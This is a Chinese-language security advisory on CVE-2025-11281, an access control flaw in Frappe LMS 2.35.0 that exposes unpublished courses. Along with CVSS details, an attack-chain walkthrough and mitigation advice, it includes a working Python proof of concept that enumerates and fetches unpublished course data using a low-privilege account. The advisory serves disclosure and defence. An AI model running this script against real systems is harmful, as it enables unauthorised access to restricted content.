IPBUF安全漏洞报告
English
CVE-2025-11281 CVSS 5.0 中危

CVE-2025-11281 Frappe LMS未发布课程访问控制绕过漏洞

披露日期: 2025-10-05

漏洞信息

漏洞编号
CVE-2025-11281
漏洞类型
访问控制不当(Improper Access Controls)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frappe LMS

相关标签

访问控制不当权限绕过Frappe LMSLMS信息泄露未授权访问CVE-2025-11281中危漏洞Web应用安全

漏洞概述

CVE-2025-11281是Frappe LMS 2.35.0版本中存在的一个访问控制不当漏洞。该漏洞位于Unpublished Course Handler(未发布课程处理器)组件中,具体涉及/courses/路径下的未知功能函数。攻击者可以通过远程方式利用该漏洞绕过正常的访问控制机制,访问到本应处于未发布状态的课程内容。

Frappe LMS是一个基于Frappe框架构建的开源学习管理系统(LMS),广泛用于在线教育平台和企业培训场景。该系统允许管理员创建、发布和管理课程内容,其中未发布的课程通常仅供内部预览或编辑使用,不应对普通用户或低权限用户开放。然而,由于Unpublished Course Handler组件中的访问控制逻辑存在缺陷,未经授权或低权限的用户可以通过特定请求访问到这些未发布的课程内容。

该漏洞的CVSS 3.1评分为5.0,属于中危级别。虽然攻击需要低权限认证(PR:L),且利用复杂度较高(AC:H),但攻击可通过网络远程发起(AV:N),无需用户交互(UI:N)。漏洞的机密性、完整性和可用性影响均为低级别,但泄露未发布课程内容可能导致知识产权损失、商业机密泄露或课程内容被恶意篡改等风险。

该漏洞已于2025年10月5日公开披露,漏洞发现者通过VulDB平台报告了该问题。供应商Frappe已被提前告知总共四个安全问题的存在,并确认这些问题已得到修复,但GitHub上的发布说明中并未提及这些修复内容。

技术细节

该漏洞的核心问题在于Frappe LMS的Unpublished Course Handler组件未对用户权限进行充分的验证检查。当用户请求/courses/路径下的课程内容时,系统未能正确区分课程的发布状态与用户的访问权限,导致低权限用户可以访问到标记为未发布(unpublished)的课程内容。

从技术实现角度来看,Frappe LMS使用Frappe框架的文档模型(DocType)来管理课程数据,每个课程文档包含一个published字段用于标识其发布状态。正常的访问控制流程应该是:当用户请求课程详情时,系统首先检查课程的published状态,如果课程未发布,则进一步验证用户是否具有管理员或课程创建者权限。然而,在存在漏洞的版本中,Unpublished Course Handler在处理课程请求时,仅验证了用户的基本认证状态,而未对课程的发布状态进行二次权限校验。

攻击者利用该漏洞时,首先需要拥有Frappe LMS的低权限账户(如学生或普通用户角色),然后通过构造特定的HTTP请求访问/courses/路径下的课程标识符。由于服务器端未对课程发布状态进行访问控制检查,攻击者即使不具备查看未发布课程的权限,也能够成功获取课程的详细信息,包括课程描述、教学内容、附件资源等。

该漏洞的利用复杂度被评定为高(AC:H),这可能是因为攻击者需要事先了解目标系统中未发布课程的具体标识符,或者需要通过枚举等方式获取有效的课程ID。此外,漏洞披露的PoC中提供了详细的复现步骤,攻击者可以按照步骤构造相应的请求来验证漏洞的存在。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者首先需要在目标Frappe LMS系统中注册或获取一个低权限账户(如学生角色),该账户正常情况下仅能访问已发布的课程内容。
STEP 2
步骤2:枚举未发布课程标识符
通过Frappe框架的API端点(如/api/method/frappe.client.get_list)查询published=0的课程列表,获取系统中所有未发布课程的名称或标识符。
STEP 3
步骤3:构造恶意访问请求
利用获取到的未发布课程标识符,通过/courses/{course_name}路径或直接调用API方法访问课程详情,绕过正常的发布状态权限检查。
STEP 4
步骤4:提取未授权课程内容
服务器端由于访问控制缺陷,未对低权限用户的请求进行拦截,攻击者成功获取未发布课程的完整内容,包括课程描述、教学材料和附件资源。
STEP 5
步骤5:数据泄露或恶意利用
获取到的未发布课程内容可能被用于商业竞争、知识产权窃取、课程内容篡改或进一步的社会工程攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11281 - Frappe LMS Unpublished Course Access Control Bypass PoC # Vulnerability: Improper Access Controls in Unpublished Course Handler # Affected: Frappe LMS 2.35.0 # Component: /courses/ endpoint import requests # Target configuration TARGET_URL = "https://target-frappe-lms.example.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Step 1: Authenticate to obtain session cookies session = requests.Session() login_url = f"{TARGET_URL}/api/method/login" login_payload = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, json=login_payload) if response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Authenticated successfully") # Step 2: Enumerate or obtain unpublished course identifiers # Unpublished courses can be discovered via API or by enumerating course names courses_url = f"{TARGET_URL}/api/method/frappe.client.get_list" courses_payload = { "doctype": "LMS Course", "filters": [["published", "=", 0]], # Filter for unpublished courses "fields": ["name", "title", "description"] } response = session.post(courses_url, json=courses_payload) if response.status_code == 200: unpublished_courses = response.json().get("message", []) print(f"[+] Found {len(unpublished_courses)} unpublished courses") # Step 3: Access unpublished course content directly # The vulnerability allows low-privilege users to access unpublished course details for course in unpublished_courses: course_name = course.get("name") course_url = f"{TARGET_URL}/courses/{course_name}" # Access the course page directly - should be blocked but isn't response = session.get(course_url) if response.status_code == 200: print(f"[+] Successfully accessed unpublished course: {course_name}") # Extract course content from response print(f" Title: {course.get('title')}") print(f" Description: {course.get('description')}") else: print(f"[-] Failed to access course: {course_name}") # Step 4: Alternative - Direct API access to unpublished course content course_detail_url = f"{TARGET_URL}/api/method/frappe.client.get" for course in unpublished_courses: detail_payload = { "doctype": "LMS Course", "name": course.get("name") } response = session.post(course_detail_url, json=detail_payload) if response.status_code == 200: course_data = response.json().get("message", {}) print(f"[+] Retrieved full unpublished course data: {course_data}")

影响范围

Frappe LMS 2.35.0

防御指南

临时缓解措施
在等待官方补丁发布期间,建议采取以下临时缓解措施:1)限制/courses/路径下未发布课程的API访问,仅允许管理员角色调用相关接口;2)在Frappe LMS的配置中临时禁用未发布课程的预览功能;3)通过Web应用防火墙(WAF)规则阻止低权限用户对未发布课程标识符的访问请求;4)监控异常的课程访问日志,及时发现和阻断可疑的访问行为;5)对所有课程内容进行敏感信息审查,确保未发布课程中不包含核心知识产权或敏感数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表